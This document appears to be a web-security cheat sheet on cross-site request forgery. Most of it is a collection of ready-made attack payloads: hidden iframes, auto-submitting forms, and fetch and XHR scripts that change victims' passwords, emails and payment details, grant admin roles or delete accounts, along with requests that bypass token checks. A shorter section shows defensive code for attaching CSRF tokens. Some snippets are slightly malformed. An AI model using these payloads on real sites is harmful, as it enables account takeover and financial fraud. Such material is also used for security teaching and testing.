CSRF (Cross-Site Request Forgery)
CSRF is an attack where a malicious website, email, or script tricks a logged-in user's browser into executing unintended actions on a trusted site. Because browsers automatically send cookies, including session tokens, with requests, a vulnerable site may be unable to differentiate between legitimate user actions and forged requests.
Without proper validation mechanisms, attackers can exploit this flaw to force users to perform unauthorized actions. The impact depends on the user’s permissions within the targeted application—an attacker could transfer money, reset passwords, modify account settings, escalate privileges, or execute any task the user is authorized to perform, all without their knowledge.
Exploiting CSRF
HTML GET Method (Simple Link Injection)
This method uses a malicious link that, when clicked, triggers an action on the victim’s account.
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
If the target website does not verify CSRF tokens or request origins, clicking the link will change the username to "uname" without the victim’s knowledge.
Auto-submission with an image tag
<img src="http://www.example.com/api/deleteaccount" />The request executes as soon as the page loads.
Silent request using iframe
<iframe src="http://www.example.com/api/transfermoney?amount=1000" style="display:none;"></iframe>
The transfer happens in the background without user interaction.
HTML POST Method (Form-Based Exploitation)
CSRF can also be exploited using a form that automatically submits a malicious request when the page loads.
`<form action="http://www.example.com/api/setusername" enctype="text/plain"method="POST"><input name="username" type="hidden" value="uname" /><input type="submit" value="Submit Request" /></form>`
If the user is logged in, loading this form will change their username when they click submit. Auto-submit the form
<body onload="document.forms[0].submit()">
The form submits automatically when the page loads.
Invisible submission using JavaScript
<script>document.forms[0].submit();</script>
JSON GET Method (Fetching Sensitive Data)
JavaScript can be used to make unauthorized GET requests to extract user data.
<script> var xhr = new XMLHttpRequest(); xhr.open("GET","http://www.example.com/api/currentuser"); xhr.send(); </script>
If the response isn’t protected by proper CORS (Cross-Origin Resource Sharing) policies, the attacker can extract user data. Stealing a CSRF token (if exposed in responses)
fetch("http://www.example.com/api/getcsrftoken").then(res => res.text()).then(token => alert(token));
JSON POST Method (Modifying Data via API Calls)
<script> var xhr = new XMLHttpRequest(); xhr.open("POST","http://www.example.com/api/setrole"); xhr.withCredentials = true;xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");xhr.send('{"role":admin}'); </script>
If the API doesn’t check CSRF tokens or request origins, this script will escalate the user’s role to an admin. Modifying account details
fetch("http://www.example.com/api/updatepassword", {method: "POST",headers: { "Content-Type": "application/json" },body: JSON.stringify({ "password": "hacked123" })});
If the site lacks CSRF protection, the attacker can change the victim’s password. Deleting user accounts silently
fetch("http://www.example.com/api/deleteaccount", { method: "DELETE" });
Multipart CSRF Exploitation
This method is often used when applications accept file uploads or process complex forms with multiple fields. Breaking Down the Multipart Exploit
- Targeted API Endpoint The request is sent to "https://example/api/users", which likely processes user data updates.
- Request Headers "Content-Type: multipart/form-data" ensures the server interprets the request as a form submission. "withCredentials = true" forces the browser to send session cookies or authentication tokens.
- Exploit Payload (Form Data) action=update → Indicates the request is updating user data. user_id=1 → Targets user ID 1 (often an admin). uname=daffainfo → Changes the username. first_name=m & last_name=daffa → Modifies the victim’s profile details.
- Silent Submission The form submission is executed via JavaScript without user interaction. The request payload is constructed as a Blob object to ensure proper encoding.
Changing User Password (Account Takeover)
If the application allows users to update their password via a POST request, an attacker can force a victim to change their password.
var body = "-----------------------------123456789\r\n" +"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +"-----------------------------123456789\r\n" +"Content-Disposition: form-data; name=\"new_password\"\r\n\r\nP@ssw0rd123\r\n" +"-----------------------------123456789\r\n" +"Content-Disposition: form-data; name=\"confirm_password\"\r\n\r\nP@ssw0rd123\r\n" +"-----------------------------123456789--\r\n";xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));
Adding a New Admin User Some applications allow admin users to create new accounts. If the endpoint is not protected, an attacker can escalate privileges
var body = "-----------------------------987654321\r\n" +"Content-Disposition: form-data; name=\"action\"\r\n\r\ncreate_user\r\n" +"-----------------------------987654321\r\n" +"Content-Disposition: form-data; name=\"username\"\r\n\r\nhacker\r\n" +"-----------------------------987654321\r\n" +"Content-Disposition: form-data; name=\"password\"\r\n\r\nH@ck3r123\r\n" +"-----------------------------987654321\r\n" +"Content-Disposition: form-data; name=\"role\"\r\n\r\nadmin\r\n" +"-----------------------------987654321--\r\n";xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));
Changing Payment Details (Fraudulent Transactions) Attackers can modify stored payment details, redirecting transactions to their own accounts.
var body = "-----------------------------555555555\r\n" +"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +"-----------------------------555555555\r\n" +"Content-Disposition: form-data; name=\"payment_method\"\r\n\r\nbank_transfer\r\n" +"-----------------------------555555555\r\n" +"Content-Disposition: form-data; name=\"account_number\"\r\n\r\n1234567890\r\n" +"-----------------------------555555555\r\n" +"Content-Disposition: form-data; name=\"account_name\"\r\n\r\nHacker Pay\r\n" +"-----------------------------555555555--\r\n";xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));
Changing Email Address (Hijacking Accounts)
var body = "-----------------------------666666666\r\n" +"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +"-----------------------------666666666\r\n" +"Content-Disposition: form-data; name=\"email\"\r\n\r\[email protected]\r\n" +"-----------------------------666666666--\r\n";xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));
Deleting a User Account If the application allows account deletions via a simple POST request, an attacker can force a victim to delete their account
var body = "-----------------------------777777777\r\n" +"Content-Disposition: form-data; name=\"action\"\r\n\r\ndelete_user\r\n" +"-----------------------------777777777\r\n" +"Content-Disposition: form-data; name=\"user_id\"\r\n\r\n1\r\n" +"-----------------------------777777777--\r\n";xhr.send(new Blob([new Uint8Array(body.length).map((_, i) => body.charCodeAt(i))]));
Automatically Including CSRF Tokens in AJAX Requests
AJAX requests that modify server state (POST, PUT, PATCH, DELETE) should include a CSRF token. This script ensures that CSRF tokens are automatically included in such requests. Storing CSRF Token Value in the DOM
<meta name="csrf-token" content="{{ csrf_token() }}">
Checking if an HTTP method is safe (No CSRF token required)
function csrfSafeMethod(method) {return (/^(GET|HEAD|OPTIONS)$/.test(method));}
XMLHttpRequest Override
var csrf_token = document.querySelector("meta[name='csrf-token']").getAttribute("content");var o = XMLHttpRequest.prototype.open;XMLHttpRequest.prototype.open = function() {var res = o.apply(this, arguments);if (!csrfSafeMethod(arguments[0])) {this.setRequestHeader('anti-csrf-token', csrf_token);}return res;};
AngularJS Configuration
AngularJS allows for setting default headers for HTTP operations. Further documentation can be found at AngularJS's documentation for $httpProvider
var app = angular.module("app", []);app.config(['$httpProvider', function ($httpProvider) {["post", "put", "patch", "delete"].forEach(method => {$httpProvider.defaults.headers[method] = $httpProvider.defaults.headers[method] || {};$httpProvider.defaults.headers[method]["anti-csrf-token"] = csrf_token;});}]);
Axios Default Headers
Axios allows us to set default headers for the POST, PUT, DELETE and PATCH actions.
axios.defaults.headers.post['anti-csrf-token'] = csrf_token;axios.defaults.headers.put['anti-csrf-token'] = csrf_token;axios.defaults.headers.delete['anti-csrf-token'] = csrf_token;axios.defaults.headers.patch['anti-csrf-token'] = csrf_token;
Using Referer/Origin Manipulation
Some applications check the Referer or Origin header for validation. If these headers are not enforced strictly, bypassing the CSRF protection is possible.
POST /register HTTP/1.1Host: target.comReferer: https://target.comOrigin: https://malicious.com...username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Try modifying the Origin header to null or https://malicious.com
Using XSS to Steal Token
If the application is vulnerable to XSS, you can extract the CSRF token and use it in requests.
fetch("https://target.com/register", {method: "POST",credentials: "include",body: `username=dapos&password=123456&token=${document.querySelector('[name=token]').value}`,headers: { "Content-Type": "application/x-www-form-urlencoded" }});
Predictable Token
If the CSRF token is generated using predictable values like timestamps or user-specific information, try to predict or brute-force it.
POST /register HTTP/1.1Host: target.com...username=dapos&password=123456&token=TIMESTAMP_1234
Using a Null Token
Some applications treat a null value as valid.
POST /register HTTP/1.1Host: target.com...username=dapos&password=123456&token=null
Reusing Old Tokens
Some applications do not invalidate CSRF tokens after use.
POST /register HTTP/1.1Host: target.com...username=dapos&password=123456&token=OLD_VALID_TOKEN
Bypassing Token Check with JSON Payload
If the backend checks for CSRF only in form-data but accepts JSON input
POST /register HTTP/1.1Host: target.comContent-Type: application/json...{"username": "dapos","password": "123456"}
Double Submit Cookie Attack
If the CSRF token is stored in cookies, it might be possible to send a forged request with the same cookie.
POST /register HTTP/1.1Host: target.comCookie: csrf_token=known_value...username=dapos&password=123456&token=known_value
Using a Custom Header
Some APIs allow custom headers but do not validate CSRF for API requests.
POST /register HTTP/1.1Host: target.comX-Requested-With: XMLHttpRequest...username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
var examplePayloads = [{ method: 'POST', url: '/api/data', body: JSON.stringify({ name: 'test' }) },{ method: 'PUT', url: '/api/update/1', body: JSON.stringify({ value: 'updated' }) },{ method: 'PATCH', url: '/api/modify', body: JSON.stringify({ field: 'changed' }) },{ method: 'DELETE', url: '/api/remove/5' }];examplePayloads.forEach(payload => {fetch(payload.url, {method: payload.method,headers: { 'Content-Type': 'application/json', 'anti-csrf-token': csrf_token },body: payload.body ? payload.body : null}).then(response => response.json()).then(data => console.log(data));});
Exploiting Weak Regex Validation
If the application uses loose regex validation like ^.{6,}$, try submitting a token that meets the minimum requirement but is incorrect.
POST /register HTTP/1.1Host: target.com...username=dapos&password=123456&token=aaaaaa
Injecting Special Characters
Some systems may not properly handle special characters, causing validation bypass.POST /register HTTP/1.1Host: target.com...username=dapos&password=123456&token=aaaaaaaaaaaaa' OR '1'='1
Tools
Writeups
- Peter W: "Cross-Site Request Forgeries"
- Thomas Schreiber: "Session Riding"
- Oldest known post
- Cross-site Request Forgery FAQ
- A Most-Neglected Fact About Cross Site Request Forgery
- Multi-POST CSRF
- SANS Pen Test Webcast: Complete Application pwnage via Multi POST XSRF
Cheatsheets
- OWASP Cross-Site Request Forgery
- PortSwigger Web Security Academy
- Mozilla Web Security Cheat Sheet
- Common CSRF Prevention Misconceptions
- Robust Defenses for Cross-Site Request Forgery
- For AngularJS: Cross-Site Request Forgery (XSRF) Protection